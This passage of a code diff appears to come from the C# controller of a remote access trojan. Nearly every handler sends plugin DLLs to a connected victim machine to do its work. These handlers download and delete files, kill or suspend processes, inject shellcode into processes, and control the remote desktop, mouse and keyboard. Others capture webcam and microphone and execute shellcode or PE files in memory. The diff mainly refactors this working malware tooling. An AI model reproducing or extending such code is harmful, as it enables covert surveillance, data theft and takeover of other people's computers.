dowloadFileDataGridView.SelectedRows) { - DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), downloadFileTicket) + DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), DownloadFileTicket) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1), + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1), bufferSize = Program.settings.bufferSize }; - downloadList.Add(downloadFileTicket, file); - this.clientHandler.SendPacket(dowloadFilePacket); - downloadFileTicket += 1; + DownloadList.Add(DownloadFileTicket, file); + ClientHandler.StartSendData(this.ClientHandler, dowloadFilePacket); + DownloadFileTicket += 1; } } private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e) @@ -632,14 +587,14 @@ private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e) else { string fullPath = labelPath.Text + file.Cells[1].Value.ToString(); - DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), deleteFileTicket) + DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), DeleteFileTicket) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - deleteList.Add(deleteFileTicket, file); - this.clientHandler.SendPacket(deleteFilePacket); - deleteFileTicket += 1; + DeleteList.Add(DeleteFileTicket, file); + ClientHandler.StartSendData(this.ClientHandler, deleteFilePacket); + DeleteFileTicket += 1; } } } @@ -648,36 +603,36 @@ private void downloadSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOWNLOADS) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(shortCutFileManagersPacket); + ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void desktopSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DESKTOP) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(shortCutFileManagersPacket); + ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void documentsSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOCUMENTS) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(shortCutFileManagersPacket); + ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } private void userProfileSToolStripMenuItem_Click(object sender, EventArgs e) { ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.USER_PROFILE) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1) }; - clientHandler.SendPacket(shortCutFileManagersPacket); + ClientHandler.StartSendData(ClientHandler, shortCutFileManagersPacket); } #endregion #region "Directory" @@ -728,9 +683,11 @@ private void dowloadFileDataGridView_MouseUp(object sender, MouseEventArgs e) #region "Process Manager" private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e) { - ProcessManagerPacket processManagerPacket = new ProcessManagerPacket(); - processManagerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(processManagerPacket); + ProcessManagerPacket processManagerPacket = new ProcessManagerPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, processManagerPacket); } private void killToolStripMenuItem_Click(object sender, EventArgs e) @@ -738,9 +695,11 @@ private void killToolStripMenuItem_Click(object sender, EventArgs e) foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); - ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index); - processKillerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(processKillerPacket); + ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, processKillerPacket); } } @@ -749,9 +708,11 @@ private void suspendToolStripMenuItem_Click(object sender, EventArgs e) foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); - SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index); - suspendProcessPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(suspendProcessPacket); + SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, suspendProcessPacket); } } @@ -760,14 +721,17 @@ private void resumeToolStripMenuItem_Click(object sender, EventArgs e) foreach (DataGridViewRow selected in processDataGridView.SelectedRows) { int procId = int.Parse(selected.Cells[1].Value.ToString()); - ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index); - resumeProcessPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(resumeProcessPacket); + ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(procId, selected.Cells[2].Value.ToString(), selected.Index) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, resumeProcessPacket); } } private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs e) { + ProcessInjectionPacket processInjectionPacket; using (OpenFileDialog ofd = new OpenFileDialog()) { if (ofd.ShowDialog() == DialogResult.OK) @@ -779,14 +743,18 @@ private void shellcodeInjectionToolStripMenuItem_Click(object sender, EventArgs switch (Program.settings.processInjectionMethod) { case ProcessInjectionPacket.INJECTION_METHODS.CLASSIC: - ProcessInjectionPacket processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId); - processInjectionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(processInjectionPacket); + processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.CLASSIC, procId) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, processInjectionPacket); break; case ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW: - processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId); - processInjectionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1); - clientHandler.SendPacket(processInjectionPacket); + processInjectionPacket = new ProcessInjectionPacket(payload, ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW, procId) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ProcessManager.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, processInjectionPacket); break; } } @@ -804,22 +772,22 @@ private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { if (captureGuna2ToggleSwitch.Checked) { - remoteDesktopHandler = new RemoteDesktopHandler(); + RemoteDesktopHandler = new RemoteDesktopHandler(); keysPressed = new List(); - this.remoteDesktopHandler = new RemoteDesktopHandler(); - remoteDesktopHandler.baseIp = this.clientHandler.IP; + this.RemoteDesktopHandler = new RemoteDesktopHandler(); + RemoteDesktopHandler.BaseIp = this.ClientHandler.IP; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID, + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; - this.clientHandler.SendPacket(remoteViewerPacket); + ClientHandler.StartSendData(this.ClientHandler, remoteViewerPacket); } else { @@ -827,10 +795,10 @@ private void captureGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) keyboardGuna2ToggleSwitch.Checked = false; RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF) { - baseIp = this.remoteDesktopHandler.baseIp, - HWID = this.clientHandler.HWID + BaseIp = this.RemoteDesktopHandler.BaseIp, + HWID = this.ClientHandler.HWID }; - this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e) @@ -839,15 +807,15 @@ private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e) { RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), - baseIp = this.clientHandler.IP, + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), + BaseIp = this.ClientHandler.IP, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; - this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e) @@ -856,15 +824,15 @@ private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e) { RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), - baseIp = this.clientHandler.IP, + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteDesktop.dll"), 1), + BaseIp = this.ClientHandler.IP, width = remoteDesktopPictureBox.Width, height = remoteDesktopPictureBox.Height, format = "JPEG", quality = qualityGuna2TrackBar.Value, timeMS = 1 }; - this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket); } } @@ -883,10 +851,11 @@ private void remoteDesktopPictureBox_MouseWheel(object sender, MouseEventArgs e) { RemoteMousePacket mousePacket = new RemoteMousePacket(e.Delta == 120 ? RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP : RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN) { - x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width, - y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height + x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width, + y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height, + BaseIp = this.ClientHandler.IP }; - this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } @@ -904,9 +873,10 @@ private void remoteDesktopPictureBox_MouseDown(object sender, MouseEventArgs e) if (e.Button == MouseButtons.Middle) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN; - mousePacket.x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width; - mousePacket.y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height; - this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket); + mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width; + mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height; + mousePacket.BaseIp = this.ClientHandler.IP; + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } @@ -924,9 +894,10 @@ private void remoteDesktopPictureBox_MouseUp(object sender, MouseEventArgs e) if (e.Button == MouseButtons.Middle) mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_UP; - mousePacket.x = e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width; - mousePacket.y = e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height; - this.remoteDesktopHandler.clientHandler.SendPacket(mousePacket); + mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width; + mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height; + mousePacket.BaseIp = this.ClientHandler.IP; + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket); } } @@ -934,11 +905,12 @@ private void remoteDesktopPictureBox_MouseMove(object sender, MouseEventArgs e) { if (enabledMouse) { - this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteMousePacket + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteMousePacket ( RemoteMousePacket.MouseTypeAction.MOVE_MOUSE, - e.X * this.remoteDesktopHandler.hResol / remoteDesktopPictureBox.Width, - e.Y * this.remoteDesktopHandler.vResol / remoteDesktopPictureBox.Height) + e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width, + e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height + ){ BaseIp = this.ClientHandler.IP } ); } } @@ -959,7 +931,7 @@ private void ClientForm_KeyUp(object sender, KeyEventArgs e) if (!IsLockKey(e.KeyCode)) e.Handled = true; keysPressed.Remove(e.KeyCode); - this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteKeyboardPacket((byte)e.KeyCode, false)); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, false) { BaseIp = this.ClientHandler.IP }); } } @@ -974,7 +946,7 @@ private void ClientForm_KeyDown(object sender, KeyEventArgs e) return; keysPressed.Add(e.KeyCode); - this.remoteDesktopHandler.clientHandler.SendPacket(new RemoteKeyboardPacket((byte)e.KeyCode, true)); + ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, true) { BaseIp = this.ClientHandler.IP }); } } @@ -990,46 +962,53 @@ private void saveRemoteDesktopToolStripMenuItem_Click(object sender, EventArgs e if (this.remoteDesktopPictureBox.Image != null) { string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString(); - File.WriteAllBytes(this.clientHandler.clientPath + "\\" + "Screenshots\\" + Date + ".jpeg", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image)); + File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Screenshots\\" + Date + ".jpeg", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image)); } } #endregion #region "Remote WebCam" private void getWebCamToolStripMenuItem_Click(object sender, EventArgs e) { - RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket(); - remoteCameraPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1); - this.clientHandler.SendPacket(remoteCameraPacket); + RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, remoteCameraPacket); } private void captureWebCamGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { + RemoteCameraCapturePacket remoteCameraCapturePacket; if (captureWebCamGuna2ToggleSwitch.Checked) { - this.remoteWebCamHandler = new RemoteWebCamHandler(); - this.remoteWebCamHandler.hasAlreadyConnected = false; + this.RemoteWebCamHandler = new RemoteWebCamHandler + { + HasAlreadyConnected = false + }; if (camerasGuna2ComboBox.Items.Count > 0 && camerasGuna2ComboBox.SelectedItem != null) { - RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON); - - remoteCameraCapturePacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1); - remoteCameraCapturePacket.timeMS = 1; - remoteCameraCapturePacket.index = camerasGuna2ComboBox.SelectedIndex; - remoteCameraCapturePacket.quality = qualityGuna2TrackBar.Value; - this.clientHandler.SendPacket(remoteCameraCapturePacket); + remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteCamera.dll"), 1), + timeMS = 1, + index = camerasGuna2ComboBox.SelectedIndex, + quality = qualityGuna2TrackBar.Value, + BaseIp = this.ClientHandler.IP + }; + ClientHandler.StartSendData(this.ClientHandler, remoteCameraCapturePacket); } } else { - if (clientHandler != null && camerasGuna2ComboBox.Items.Count > 0) + if (ClientHandler != null && camerasGuna2ComboBox.Items.Count > 0) { - RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF) + remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteWebCamHandler.clientHandler.SendPacket(remoteCameraCapturePacket); + ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket); } } } @@ -1039,7 +1018,7 @@ private void saveWebCamToolStripMenuItem_Click(object sender, EventArgs e) if (this.remoteWebCamPictureBox.Image != null) { string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString(); - File.WriteAllBytes(this.clientHandler.clientPath + "\\" + "Camera\\" + Date + "." + "png", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image)); + File.WriteAllBytes(this.ClientHandler.ClientPath + "\\" + "Camera\\" + Date + "." + "png", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image)); } } #endregion @@ -1056,42 +1035,50 @@ private void SetLocalAudioDevices() private void remoteMicrophoneGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e) { + RemoteAudioCapturePacket remoteAudioCapturePacket; if (remoteMicrophoneGuna2ToggleSwitch.Checked) { if (audioDevicesGuna2ComboBox.Items.Count > 0) { - this.remoteMicrophoneHandler = new RemoteMicrophoneHandler(); - this.remoteMicrophoneHandler.hasAlreadyConnected = false; + this.RemoteMicrophoneHandler = new RemoteMicrophoneHandler + { + HasAlreadyConnected = false + }; - this.remoteMicrophoneHandler.waveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex; - this.remoteMicrophoneHandler.waveOut.Init(this.remoteMicrophoneHandler.bufferedWaveProvider); - this.remoteMicrophoneHandler.waveOut.Play(); + this.RemoteMicrophoneHandler.WaveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex; + this.RemoteMicrophoneHandler.WaveOut.Init(this.RemoteMicrophoneHandler.BufferedWaveProvider); + this.RemoteMicrophoneHandler.WaveOut.Play(); - RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON); - remoteAudioCapturePacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1); - remoteAudioCapturePacket.index = audioDevicesGuna2ComboBox.SelectedIndex; - this.clientHandler.SendPacket(remoteAudioCapturePacket); + remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1), + index = audioDevicesGuna2ComboBox.SelectedIndex, + BaseIp = this.ClientHandler.IP + }; + ClientHandler.StartSendData(this.ClientHandler, remoteAudioCapturePacket); } } else { - if (clientHandler != null) + if (ClientHandler != null) { - RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF) + remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteMicrophoneHandler.clientHandler.SendPacket(remoteAudioCapturePacket); + ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket); } } } private void getMicrophonesToolStripMenuItem_Click(object sender, EventArgs e) { - RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket(); - remoteAudioPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1); - this.clientHandler.SendPacket(remoteAudioPacket); + RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\AudioRecording.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, remoteAudioPacket); } #endregion #region "Remote Execution" @@ -1131,9 +1118,9 @@ private void sendDotNetGuna2Button_Click(object sender, EventArgs e) } if (remoteCodeExecution != null) - remoteCodeExecution.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); + remoteCodeExecution.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - this.clientHandler.SendPacket(remoteCodeExecution); + ClientHandler.StartSendData(this.ClientHandler, remoteCodeExecution); } private void testDotNetGuna2Button_Click(object sender, EventArgs e) @@ -1264,9 +1251,11 @@ private void sendShellcodeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows) { - MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1)); - memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - this.clientHandler.SendPacket(memoryExecutionPacket); + MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1)) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } @@ -1329,25 +1318,29 @@ private void removeNativePEContextMenuStripToolStripMenuItem_Click(object sender private void sendNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { + MemoryExecutionPacket memoryExecutionPacket; foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows) { if (nativePE.Cells[0].Value.ToString().EndsWith(".dll")) { - MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)); - memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - this.clientHandler.SendPacket(memoryExecutionPacket); + memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } else { - MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)); - memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - this.clientHandler.SendPacket(memoryExecutionPacket); + memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1)) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } } #endregion #region "Managed PE" - private void managedPEDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) @@ -1384,20 +1377,25 @@ private void managedPEDataGridView_DragDrop(object sender, DragEventArgs e) private void sendManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e) { + MemoryExecutionPacket memoryExecutionPacket; foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows) { if (managedPE.Cells[0].Value.ToString().EndsWith(".dll")) { - MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)); - memoryExecutionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - memoryExecutionPacket.managedEntryPoint = managedPE.Cells[1].Value.ToString(); - this.clientHandler.SendPacket(memoryExecutionPacket); + memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1), + managedEntryPoint = managedPE.Cells[1].Value.ToString() + }; + ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } else { - MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)); - memoryExecutionPacket.plugin = 